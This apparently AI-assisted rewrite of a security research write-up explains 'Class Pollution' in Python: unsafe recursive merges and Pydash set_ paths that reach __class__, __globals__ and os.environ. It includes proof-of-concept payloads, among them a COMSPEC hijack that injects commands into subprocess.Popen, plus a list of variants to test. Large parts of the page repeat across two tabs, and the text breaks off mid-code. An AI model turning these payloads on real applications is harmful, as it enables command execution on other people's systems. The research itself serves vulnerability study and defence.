Skip to content
Prototype pollution Write-up Advanced

Prototype Pollution in Python

The author shows that a recursive merge function in Python can be abused to overwrite special attributes such as __class__, __base__ and __globals__, letting an attacker change class attributes and global variables. In the demonstrated examples this reaches command execution through a gadget, though the author states no full real-world exploit leading to RCE was found.

Abdulraheem Khaled Follow

Published on blog.abdulrah33m.com

The main objective of this research is to prove the possibility of having a variant of Prototype Pollution in other programming languages, including those that are class-based by showing Class Pollution in Python.

Abdulraheem Khaled (@Abdulrah33mK), on blog.abdulrah33m.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

Context

This research explores whether the idea behind Prototype Pollution can exist in programming languages other than JavaScript, including class-based languages. The author calls the Python variant Class Pollution, because Python has no prototypes. The work is explicitly a work in progress: the post is described as frequently updated, and while the author found examples of vulnerable merge functions in various open-source projects, a full exploit leading to RCE had not been found at the time of writing.

Prototype Pollution is usually described as language-specific: the name suggests it should affect prototype-based languages only. JavaScript is not the only prototype-based language, but it is the most popular one, which explains why nearly all resources cover JavaScript, client-side or server-side. The author's point is that a language is not vulnerable merely because it uses prototypes, and conversely that the idea of polluting a shared parent can be replicated elsewhere.

In JavaScript, prototypes are the mechanism by which objects inherit features from one another. When a property is not found on an object itself, the prototype is searched, then the prototype's prototype, and so on until the property is found or the chain ends and undefined is returned. Prototype Pollution is a vulnerability where an attacker can modify Object.prototype; because nearly all objects are instances of Object, the change can affect a wide range of behaviour, sometimes even remote code execution.

The author frames Prototype Pollution as a fancy form of object injection: instead of setting an attribute on a single object, you pollute the parent so the change is reflected on all other objects that would otherwise be inaccessible. It has a lot in common with insecure deserialisation, but the two should not be confused.

Setup

The research is done in Python, using the interpreter directly and small self-contained scripts. No accounts, roles or third-party services are involved. The tools are the Python standard library (subprocess, json) and the Pydash library, the Python port of Lodash. The Windows-specific gadget requires a Windows host; the author notes that the subprocess.Popen exploit works on Windows only.

The precondition for everything that follows is an application that takes attacker-controlled input and feeds it to a recursive merge-style function which sets attributes (and ideally items) on an object. The author ported the recursive merge function commonly abused in JavaScript Prototype Pollution to Python for the experiments.

Finding it

Python has no prototypes, but every object has special attributes. Dunder methods (magic methods) such as __str__(), __eq__() and __call__() are implicitly invoked during various operations; built-in classes provide default implementations, and developers can override them. Other special attributes such as __class__ and __doc__ each serve a specific purpose.

From the original on blog.abdulrah33m.com

Python also lets you update objects of mutable types at runtime, defining or overwriting attributes and methods. The author demonstrates this with an empty class:

Python
class Employee: pass # Creating an empty class

emp = Employee()
another_emp = Employee()

Employee.name = 'No one' # Defining an attribute for the Employee class
print(emp.name)

emp.name = 'Employee 1' # Defining an attribute for an object (overriding the class attribute)
print(emp.name)

emp.say_hi = lambda: 'Hi there!' # Defining a method for an object
print(emp.say_hi())

Employee.say_bye = lambda s: 'Bye!' # Defining a method for the Employee class
print(emp.say_bye())

Employee.say_bye = lambda s: 'Bye bye!' # Overwriting a method of the Employee class
print(another_emp.say_bye())

#> No one
#> Employee 1
#> Hi there!
#> Bye!
#> Bye bye!

Attributes and methods can be defined on a specific object (non-static, accessible by that instance only) or on a class (static, accessible by all objects of that class). This raised the question of whether the same concept could be applied in Python by leveraging the special attributes all objects have.

From an attacker's perspective, the interesting targets are attributes that can be overwritten, not the magic methods. Input is always treated as data (str, int and so on), never as code to be evaluated, so overwriting a magic method with a string crashes the application when the method is invoked: calling __str__() after setting it to a string throws TypeError: 'str' object is not callable.

From the original on blog.abdulrah33m.com

The first candidate is __class__, which points to the class an object is an instance of. You can think of <instance>.__class__ in Python as <instance>.constructor in JavaScript.

Python
class Employee: pass # Creating an empty class

emp = Employee()
emp.__class__ = 'Polluted'

#> Traceback (most recent call last):
#>   File "<stdin>", line 1, in <module>
#> TypeError: __class__ must be set to a class, not 'str' object

The error is promising: it shows the assignment was attempted, and only the datatype was wrong. __class__ must be set to another class. So the author tries an attribute that accepts strings: __qualname__ of __class__, which contains the class name.

Python
class Employee: pass # Creating an empty class

emp = Employee()
emp.__class__.__qualname__ = 'Polluted'

print(emp)
print(Employee)

#> <__main__.Polluted object at 0x0000024765C48250>
#> <class '__main__.Polluted'>

Setting __class__.__qualname__ on an instance changed the __qualname__ of the class itself, because __class__ is a reference to the class and any modification on it is applied to the class.

Exploitation

Step 1: a recursive merge function in Python

To model a real application, the author ported the recursive merge function abused in JavaScript Prototype Pollution. Such functions exist in many forms and are used for merging objects, setting an object's attributes from JSON, and similar tasks. The key functionality to look for is a function that takes untrusted input and uses it to set attributes of an object recursively. Finding one is enough to exploit the vulnerability. If the function also traverses and sets items (__getitem__ and __setitem__) as well as attributes (__getattr__ and __setattr__), finding gadgets is easier. A merge function that only sets items of a dictionary via __getitem__ and __setitem__ is usually not exploitable, because special attributes such as __class__ and __base__ cannot be reached. In JavaScript this distinction is easy to miss, because an object is just a dictionary and <object>[<property>] and <object>.<property> both access properties.

Python
class Employee: pass # Creating an empty class

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = {
    "name":"Ahemd",
    "age": 23,
    "manager":{
        "name":"Sarah"
        }
    }

emp = Employee()
print(vars(emp))

merge(emp_info, emp)

print(vars(emp))
print(f'Name: {emp.name}, age: {emp.age}, manager name: {emp.manager.get("name")}')

#> {}
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> Name: Ahemd, age: 23, manager name: Sarah

The merge function reads keys and values from the attacker-controlled emp_info dictionary and sets them on the emp instance. What was an empty instance ends up with the attributes and items from the dictionary.

Step 2: polluting the class through __class__

Adding a __class__ key to the input lets the merge walk into the class and set __qualname__:

Python
class Employee: pass # Creating an empty class

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = {
    "name":"Ahemd",
    "age": 23,
    "manager":{
            "name":"Sarah"
        },
    "__class__":{
            "__qualname__":"Polluted"
        }
    }

emp = Employee()
merge(emp_info, emp)

print(vars(emp))
print(emp)
print(emp.__class__.__qualname__)

print(Employee)
print(Employee.__qualname__)

#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> <__main__.Polluted object at 0x000001F80B20F5D0>
#> Polluted

#> <class '__main__.Polluted'>
#> Polluted

The Employee class is polluted because an instance of it is passed to the merge function.

Step 3: reaching parent classes with __base__

__base__ is an attribute of a class that points to the nearest parent class it inherits from. In an inheritance chain it points to the last class inherited. In the example, hr_emp.__class__ points to HR, while hr_emp.__class__.__base__ points to Employee, which is the class being polluted.

Python
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = {
    "__class__":{
        "__base__":{
            "__qualname__":"Polluted"
            }
        }
    }

hr_emp = HR()
merge(emp_info, hr_emp)

print(HR)
print(Employee)

#> <class '__main__.HR'>
#> <class '__main__.Polluted'>

The same approach works for any parent class in the chain (that is not one of the immutable types) by chaining __base__ together: __base__.__base__, __base__.__base__.__base__ and so on.

Step 4: the object class is off limits

Polluting object, the parent of all classes, would reflect on every object, but Python does not allow it. Setting object.__qualname__ = 'Polluted', for example, returns TypeError: cannot set '__qualname__' attribute of immutable type 'object'. Python does not allow modifying classes of immutable types such as object, str, int and dict.

Because of this limitation, to exploit Class Pollution the unsafe merge and the attribute used to leverage a gadget must be in the same class, or at least share the same parent class (other than object) at some point in the inheritance chain. The author adds "not really, wait for it", because __globals__ later removes this restriction.

Step 5: a gadget in a sibling class

The following example shows the merge happening on a Recruiter instance while the gadget, execute_command, lives in SystemAdmin. Both classes inherit from Employee at some point.

Python
from os import popen

class Employee: pass # Creating an empty class

class HR(Employee): pass # Class inherits from Employee class

class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class
    def execute_command(self):
        command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
        return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = {
    "__class__":{
        "__base__":{
            "__base__":{
                "custom_command": "whoami"
            }
        }
    }
}

recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command())
merge(emp_info, recruiter_emp)
print(system_admin_emp.execute_command())

#> [!] Executing: "echo Hello there", output: "Hello there"
#> [!] Executing: "whoami", output: "abdulrah33m"

Setting custom_command on Employee means that when a SystemAdmin instance looks for that attribute, it finds it through inheritance. Whether the Recruiter instance was created before or after the merge does not matter, because the class itself is polluted and the change is reflected on existing and new instances. The only ordering requirement is that the gadget is invoked after the pollution.

Step 6: escaping the class hierarchy with __globals__

Pollution is not limited to the instance's classes and their attributes. The __globals__ attribute is, per the Python documentation, "A reference to the dictionary that holds the function's global variables, the global namespace of the module in which the function was defined." It gives access to defined variables, imported modules and so on. To access items of __globals__, the merge function must use __getitem__.

__globals__ is reachable from any defined method of the instance, such as __init__. Any defined method works, but __init__ is the most likely to exist on every class since it is the constructor. Built-in methods inherited from object, such as __str__, cannot be used unless they were overridden. <instance>.__init__, <instance>.__class__.__init__ and <class>.__init__ are all the same and point to the same class constructor.

The rule of thumb: if there is a chain of attributes/items (based on what the merge function supports) from the controlled object to any attribute or variable, it can be overwritten. This greatly increases the attack surface when looking for gadgets.

Python
def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

class User:
	def __init__(self):
		pass

class NotAccessibleClass: pass
not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable)
print(NotAccessibleClass)

#> Polluted variable
#> <class '__main__.PollutedClass'>

NotAccessibleClass and not_accessible_variable would not be reachable otherwise: the class is not a parent of the controlled instance and the variable is not an attribute of the controlled class. The chain through __globals__ makes both reachable.

Step 7: Pydash set_ and set_with

Pydash is the Python implementation of Lodash, and Lodash is one of the JavaScript libraries where Prototype Pollution was discovered and reported more than once. Pydash's set_ and set_with are recursive merge-style functions that can be used to pollute attributes. Both allow moving between an object's attributes and dictionary items and setting them, which is the most useful case. They take the object, the path of the attribute/item to set, and the value.

All the previous examples work with set_ and set_with instead of the hand-written merge function. The difference is that Pydash uses dot notation, ((<attribute>|<item>).)*(<attribute>|<item>), rather than the JSON format.

Python
import pydash

class User:
    def __init__(self):
        pass

class NotAccessibleClass: pass
not_accessible_variable = 'Hello'

pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')
print(not_accessible_variable)

pydash.set_(User(), '__class__.__init__.__globals__.NotAccessibleClass.__qualname__','PollutedClass')
print(NotAccessibleClass)

#> Polluted variable
#> <class '__main__.PollutedClass'>

Step 8: gadget, subprocess.Popen on Windows

As with Prototype Pollution, impact depends on the application and the available gadgets, ranging from DoS by crashing the application to command execution. The first gadget targets subprocess.Popen on Windows. The script merges attacker-controlled JSON into a new Employee instance, then runs a hard-coded whoami through Popen. The goal is to hijack Popen so it runs arbitrary commands instead.

Python
import subprocess, json

class Employee:
	def __init__(self):
		pass

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = json.loads('{"name": "employee"}') # attacker-controlled value

merge(emp_info, Employee())

subprocess.Popen('whoami', shell=True)

Looking at the subprocess module source for Windows, the relevant part is:

Python
if shell:
    startupinfo.dwFlags |= _winapi.STARTF_USESHOWWINDOW
    startupinfo.wShowWindow = _winapi.SW_HIDE
    comspec = os.environ.get("COMSPEC", "cmd.exe")
    args = '{} /c "{}"'.format (comspec, args)

When shell is True, the code reads the path of cmd.exe from the COMSPEC environment variable and runs C:\WINDOWS\system32\cmd.exe /c <command>. If COMSPEC is not defined, the local variable comspec (not the environment variable) is set to cmd.exe. Controlling COMSPEC in os.environ therefore allows injecting arbitrary commands.

The chain is:

  1. Access any method of the Employee instance other than the built-in ones to reach __globals__; here it is __init__.
  2. Through __globals__, reach the subprocess module imported in the script.
  3. The first lines of subprocess import the os module, which is needed to reach environ. If os were already imported in the script, it could be reached directly via __init__.__globals__.os without going through subprocess.
  4. From the os module, overwrite COMSPEC inside environ to inject a command.
Python
import subprocess, json

class Employee:
	def __init__(self):
		pass

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(emp_info, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up

Step 9: gadget, overwriting a function's __kwdefaults__

__kwdefaults__ is a special attribute of all functions: per the Python documentation, a "mapping of any default values for keyword-only parameters". Polluting it controls the default values of keyword-only parameters, the ones after * or *args.

Python
import json

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

class Employee:
	def __init__(self):
		pass

def print_message(*, message='Hello there'):
	print(message)

print(print_message.__kwdefaults__)
print_message()

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"print_message":{"__kwdefaults__":{"message":"Polluted default value"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(print_message.__kwdefaults__)
print_message()

#> {'message': 'Hello there'}
#> Hello there

#> {'message': 'Polluted default value'}
#> Polluted default value

__defaults__ is a tuple holding defaults for positional-or-keyword parameters, and polluting it would be useful, but it is not possible when the attacker-controlled input is parsed as JSON, because JSON has no tuples ().

Step 10: other gadgets

The author lists two more without full examples: overwriting a Flask web app's secret key used for session signing, and path hijacking via os.environ.

Root cause

The mistake is a recursive merge that takes untrusted input and uses it to set attributes (and items) on an object without restricting which keys may be traversed. Because Python exposes special attributes such as __class__, __base__, __init__ and __globals__, a key that looks like data can walk from the instance into its class, into parent classes, and through a method's globals into module-level variables and imported modules. The same input that should only populate fields like name and age can therefore rewrite class attributes and global state.

Existing defences did not stop it because Python's own protection only covers immutable types: object, str, int, dict and similar cannot be modified, which is why object.__qualname__ fails. Everything else in the chain is mutable, so the restriction only narrows the target set rather than preventing the attack. The author notes that a merge function which only sets dictionary items via __getitem__ and __setitem__ is usually not exploitable, since special attributes cannot be reached that way; the dangerous case is a function that also sets attributes, or that supports both attributes and items.

Impact

The impact depends on the application and the gadgets available, ranging from denial of service by crashing the application to command execution. The author is explicit that a full exploit leading to RCE had not been found at the time of writing, although vulnerable merge functions were found in various open-source projects. The demonstrated command execution gadgets are proof-of-concept scripts: the subprocess.Popen one works on Windows only. The __globals__ chain widens the attack surface considerably, because it allows reaching classes and variables that are not in the controlled instance's inheritance chain.

Fix

The report does not describe a fix applied to any project. The implied mitigation is to constrain what a recursive merge may traverse: reject or ignore keys that resolve to special attributes such as __class__, __base__, __globals__ and __kwdefaults__, and avoid using attacker-controlled keys to set attributes on arbitrary objects. A merge that only sets items of a plain dictionary, without attribute access, avoids the class and globals traversal described here.

Variants to test

  1. Recursive merge into an object. Feed a JSON body with a __class__ key into any endpoint that merges input into an object. A positive result is that the class's __qualname__ changes, visible in the object's repr or in error messages.
  2. Parent class traversal. Add nested __base__ keys to reach a parent class. A positive result is that a parent class's attribute changes while the instance's own class is untouched.
  3. Sibling class gadget. If two classes share a parent, merge into an instance of one and look for a method on the other that reads an attribute it does not define. A positive result is that the method picks up the polluted value from the shared parent.
  4. Globals escape. Use __class__.__init__.__globals__ to reach module-level variables and imported modules. A positive result is that a global variable or an unrelated class changes.
  5. Pydash set_ and set_with. Where these functions process user input, pass dot-notation paths such as __class__.__init__.__globals__.<name>. A positive result is the same pollution as with a hand-written merge.
  6. Environment variable hijack. On Windows, pollute COMSPEC through __globals__.subprocess.os.environ before a Popen(..., shell=True) call. A positive result is that the injected command runs instead of the intended one.
  7. Keyword-only defaults. Pollute a function's __kwdefaults__ through globals. A positive result is that calling the function without the keyword argument uses the polluted default.
  8. Flask secret key and path hijacking. Try overwriting the Flask secret key used for session signing, and try path hijacking via os.environ. Try overwriting the Flask secret key used for session signing, and try path hijacking via os.environ.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 27 min read.

What happened, in plain words

A security researcher wanted to answer a simple question: the well-known bug called Prototype Pollution is always described as a JavaScript problem, but could the same idea work in other programming languages, including ones like Python that are built on classes rather than prototypes? The answer, as this research shows, is yes. The author calls the Python version Class Pollution, because Python has no prototypes to pollute.

This is important to say up front: the research is a work in progress. The author says the post will be frequently updated, and that while vulnerable merge functions were found in various open-source projects, a full exploit leading to RCE (remote code execution, meaning an attacker running their own commands on someone else's machine) had not been found at the time of writing.

To follow this, you only need to understand a few everyday ideas. A programming language is the set of rules used to write software. A class is a blueprint for a kind of thing in a program, for example an Employee. An object (also called an instance) is one concrete thing built from that blueprint, for example one particular employee. An attribute is a named piece of information attached to an object or class, such as a name or an age. A method is a named action an object can perform, such as say_hi(). A function is a reusable block of code that does something when called. A module is a file of ready-made code that a program can import and use.

Prototype Pollution is usually described as language-specific: the name suggests it should affect prototype-based languages only. JavaScript is not the only prototype-based language, but it is the most popular one, which explains why nearly all resources cover JavaScript, whether in the browser (client-side) or on a server (server-side). The author's point is that a language is not vulnerable merely because it uses prototypes, and conversely that the idea of polluting a shared parent can be replicated elsewhere.

In JavaScript, prototypes are the mechanism by which objects inherit features from one another. When a property is not found on an object itself, the prototype is searched, then the prototype's prototype, and so on until the property is found or the chain ends and undefined is returned. Prototype Pollution is a vulnerability where an attacker can modify Object.prototype; because nearly all objects are instances of Object, the change can affect a wide range of behaviour, sometimes even remote code execution.

The author frames Prototype Pollution as a fancy form of object injection: instead of setting an attribute on a single object, you pollute the parent so the change is reflected on all other objects that would otherwise be inaccessible. It has a lot in common with insecure deserialisation, but the two should not be confused.

Setup

The research is done in Python, using the interpreter directly and small self-contained scripts. No accounts, roles or third-party services are involved. The tools are the Python standard library (subprocess, json) and the Pydash library, the Python port of Lodash. The Windows-specific gadget requires a Windows host; the author notes that the subprocess.Popen exploit works on Windows only.

The precondition for everything that follows is an application that takes attacker-controlled input and feeds it to a recursive merge-style function which sets attributes (and ideally items) on an object. The author ported the recursive merge function commonly abused in JavaScript Prototype Pollution to Python for the experiments.

Finding it

Python has no prototypes, but every object has special attributes. Dunder methods (magic methods) such as __str__(), __eq__() and __call__() are implicitly invoked during various operations; built-in classes provide default implementations, and developers can override them. Other special attributes such as __class__ and __doc__ each serve a specific purpose.

From the original on blog.abdulrah33m.com

Python also lets you update objects of mutable types at runtime, defining or overwriting attributes and methods. The author demonstrates this with an empty class:

Python
class Employee: pass # Creating an empty class

emp = Employee()
another_emp = Employee()

Employee.name = 'No one' # Defining an attribute for the Employee class
print(emp.name)

emp.name = 'Employee 1' # Defining an attribute for an object (overriding the class attribute)
print(emp.name)

emp.say_hi = lambda: 'Hi there!' # Defining a method for an object
print(emp.say_hi())

Employee.say_bye = lambda s: 'Bye!' # Defining a method for the Employee class
print(emp.say_bye())

Employee.say_bye = lambda s: 'Bye bye!' # Overwriting a method of the Employee class
print(another_emp.say_bye())

#> No one
#> Employee 1
#> Hi there!
#> Bye!
#> Bye bye!

Line by line, in plain words:

  1. class Employee: pass creates an empty blueprint called Employee. The word pass means "nothing here yet".
  2. emp = Employee() builds one object from that blueprint and stores it in a variable called emp. another_emp = Employee() builds a second, separate object.
  3. Employee.name = 'No one' attaches a name to the blueprint itself, so every object built from it can see that name. print(emp.name) prints No one.
  4. emp.name = 'Employee 1' attaches a name to the single object emp, which overrides the blueprint's value for that object only. print(emp.name) prints Employee 1.
  5. emp.say_hi = lambda: 'Hi there!' gives the single object emp a new action. lambda is a short way to write a tiny function. print(emp.say_hi()) prints Hi there!.
  6. Employee.say_bye = lambda s: 'Bye!' gives the blueprint an action, so all objects built from it can use it. print(emp.say_bye()) prints Bye!.
  7. Employee.say_bye = lambda s: 'Bye bye!' replaces that action on the blueprint. print(another_emp.say_bye()) prints Bye bye!, showing the change reached the second object too.

Attributes and methods can be defined on a specific object (non-static, accessible by that instance only) or on a class (static, accessible by all objects of that class). This raised the question of whether the same concept could be applied in Python by leveraging the special attributes all objects have.

From an attacker's perspective, the interesting targets are attributes that can be overwritten, not the magic methods. Input is always treated as data (str, int and so on), never as code to be evaluated, so overwriting a magic method with a string crashes the application when the method is invoked: calling __str__() after setting it to a string throws TypeError: 'str' object is not callable.

From the original on blog.abdulrah33m.com

The first candidate is __class__, which points to the class an object is an instance of. You can think of <instance>.__class__ in Python as <instance>.constructor in JavaScript.

Python
class Employee: pass # Creating an empty class

emp = Employee()
emp.__class__ = 'Polluted'

#> Traceback (most recent call last):
#>   File "<stdin>", line 1, in <module>
#> TypeError: __class__ must be set to a class, not 'str' object

Line by line:

  1. class Employee: pass creates the empty blueprint again.
  2. emp = Employee() builds one object from it.
  3. emp.__class__ = 'Polluted' tries to replace the object's pointer to its class with the plain text Polluted.
  4. The interpreter refuses and prints a TypeError, explaining that __class__ must be set to a class, not a string.

The error is promising: it shows the assignment was attempted, and only the datatype was wrong. __class__ must be set to another class. So the author tries an attribute that accepts strings: __qualname__ of __class__, which contains the class name.

Python
class Employee: pass # Creating an empty class

emp = Employee()
emp.__class__.__qualname__ = 'Polluted'

print(emp)
print(Employee)

#> <__main__.Polluted object at 0x0000024765C48250>
#> <class '__main__.Polluted'>

Line by line:

  1. class Employee: pass creates the empty blueprint.
  2. emp = Employee() builds one object from it.
  3. emp.__class__.__qualname__ = 'Polluted' walks from the object to its class, then to the class's name, and renames it to Polluted.
  4. print(emp) shows the object now describes itself as a Polluted object.
  5. print(Employee) shows the blueprint itself is now called Polluted.

Setting __class__.__qualname__ on an instance changed the __qualname__ of the class itself, because __class__ is a reference to the class and any modification on it is applied to the class.

Exploitation

Step 1: a recursive merge function in Python

To model a real application, the author ported the recursive merge function abused in JavaScript Prototype Pollution. Such functions exist in many forms and are used for merging objects, setting an object's attributes from JSON, and similar tasks. The key functionality to look for is a function that takes untrusted input and uses it to set attributes of an object recursively. Finding one is enough to exploit the vulnerability. If the function also traverses and sets items (__getitem__ and __setitem__) as well as attributes (__getattr__ and __setattr__), finding gadgets is easier. A merge function that only sets items of a dictionary via __getitem__ and __setitem__ is usually not exploitable, because special attributes such as __class__ and __base__ cannot be reached. In JavaScript this distinction is easy to miss, because an object is just a dictionary and <object>[<property>] and <object>.<property> both access properties.

Python
class Employee: pass # Creating an empty class

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = {
    "name":"Ahemd",
    "age": 23,
    "manager":{
        "name":"Sarah"
        }
    }

emp = Employee()
print(vars(emp))

merge(emp_info, emp)

print(vars(emp))
print(f'Name: {emp.name}, age: {emp.age}, manager name: {emp.manager.get("name")}')

#> {}
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> Name: Ahemd, age: 23, manager name: Sarah

Line by line:

  1. class Employee: pass creates an empty blueprint.
  2. def merge(src, dst): defines a function called merge that takes two things: src (the source of information) and dst (the destination to fill in).
  3. for k, v in src.items(): goes through every key and value in the source, one pair at a time. A key is a label, a value is what sits under that label.
  4. if hasattr(dst, '__getitem__'): asks whether the destination supports square-bracket access, like a dictionary does.
  5. if dst.get(k) and type(v) == dict: checks whether the destination already has something under this key and whether the value is itself a nested group of key/value pairs (a dict).
  6. merge(v, dst.get(k)) then calls itself on that nested group, which is what makes the function recursive: it keeps going deeper.
  7. else: dst[k] = v otherwise simply stores the value under the key.
  8. elif hasattr(dst, k) and type(v) == dict: if the destination does not support square brackets but does have an attribute with this name, and the value is a nested group, recurse into that attribute.
  9. else: setattr(dst, k, v) in every other case, set the attribute named k to the value v.
  10. emp_info = {...} builds a dictionary of employee details, including a nested manager dictionary.
  11. emp = Employee() builds an empty object.
  12. print(vars(emp)) prints the object's attributes, which is {} because it is empty.
  13. merge(emp_info, emp) copies everything from the dictionary onto the object.
  14. The final prints show the object now holds the name, age and manager details.

The merge function reads keys and values from the attacker-controlled emp_info dictionary and sets them on the emp instance. What was an empty instance ends up with the attributes and items from the dictionary.

Step 2: polluting the class through __class__

Adding a __class__ key to the input lets the merge walk into the class and set __qualname__:

Python
class Employee: pass # Creating an empty class

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = {
    "name":"Ahemd",
    "age": 23,
    "manager":{
            "name":"Sarah"
        },
    "__class__":{
            "__qualname__":"Polluted"
        }
    }

emp = Employee()
merge(emp_info, emp)

print(vars(emp))
print(emp)
print(emp.__class__.__qualname__)

print(Employee)
print(Employee.__qualname__)

#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> <__main__.Polluted object at 0x000001F80B20F5D0>
#> Polluted

#> <class '__main__.Polluted'>
#> Polluted

Line by line:

  1. The merge function is the same as before.
  2. emp_info now contains an extra key called __class__, whose value is another dictionary containing __qualname__ set to Polluted.
  3. emp = Employee() builds an empty object and merge(emp_info, emp) copies the dictionary onto it.
  4. When the merge reaches __class__, it does not create a harmless new field. It follows the object's pointer to its class and then sets the class's name to Polluted.
  5. The prints show the object's fields, the object's description, the class name, the class itself and the class name again, all reflecting the change.

The Employee class is polluted because an instance of it is passed to the merge function.

Step 3: reaching parent classes with __base__

__base__ is an attribute of a class that points to the nearest parent class it inherits from. In an inheritance chain it points to the last class inherited. In the example, hr_emp.__class__ points to HR, while hr_emp.__class__.__base__ points to Employee, which is the class being polluted.

Python
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = {
    "__class__":{
        "__base__":{
            "__qualname__":"Polluted"
            }
        }
    }

hr_emp = HR()
merge(emp_info, hr_emp)

print(HR)
print(Employee)

#> <class '__main__.HR'>
#> <class '__main__.Polluted'>

Line by line:

  1. class Employee: pass creates the parent blueprint.
  2. class HR(Employee): pass creates a child blueprint called HR that inherits everything from Employee. Inheritance means the child automatically gets the parent's attributes and methods.
  3. The merge function is unchanged.
  4. emp_info contains __class__, then __base__, then __qualname__. This is a path: from the object to its class, from that class to its parent, and then rename the parent.
  5. hr_emp = HR() builds an object from the child class, and merge(emp_info, hr_emp) follows the path.
  6. The prints show HR keeps its own name, while Employee has been renamed to Polluted.

The same approach works for any parent class in the chain (that is not one of the immutable types) by chaining __base__ together: __base__.__base__, __base__.__base__.__base__ and so on.

Step 4: the object class is off limits

Polluting object, the parent of all classes, would reflect on every object, but Python does not allow it. Setting object.__qualname__ = 'Polluted', for example, returns TypeError: cannot set '__qualname__' attribute of immutable type 'object'. Python does not allow modifying classes of immutable types such as object, str, int and dict.

Because of this limitation, to exploit Class Pollution the unsafe merge and the attribute used to leverage a gadget must be in the same class, or at least share the same parent class (other than object) at some point in the inheritance chain. The author adds "not really, wait for it", because __globals__ later removes this restriction.

Step 5: a gadget in a sibling class

The following example shows the merge happening on a Recruiter instance while the gadget, execute_command, lives in SystemAdmin. Both classes inherit from Employee at some point.

Python
from os import popen

class Employee: pass # Creating an empty class

class HR(Employee): pass # Class inherits from Employee class

class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class
    def execute_command(self):
        command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
        return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

